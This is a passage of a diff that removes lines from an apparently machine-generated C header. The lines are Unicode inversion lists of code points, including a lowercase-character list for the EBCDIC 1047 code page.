0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXLOWER_invlist[] = { /* for EBCDIC 1047 */ - 1289, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 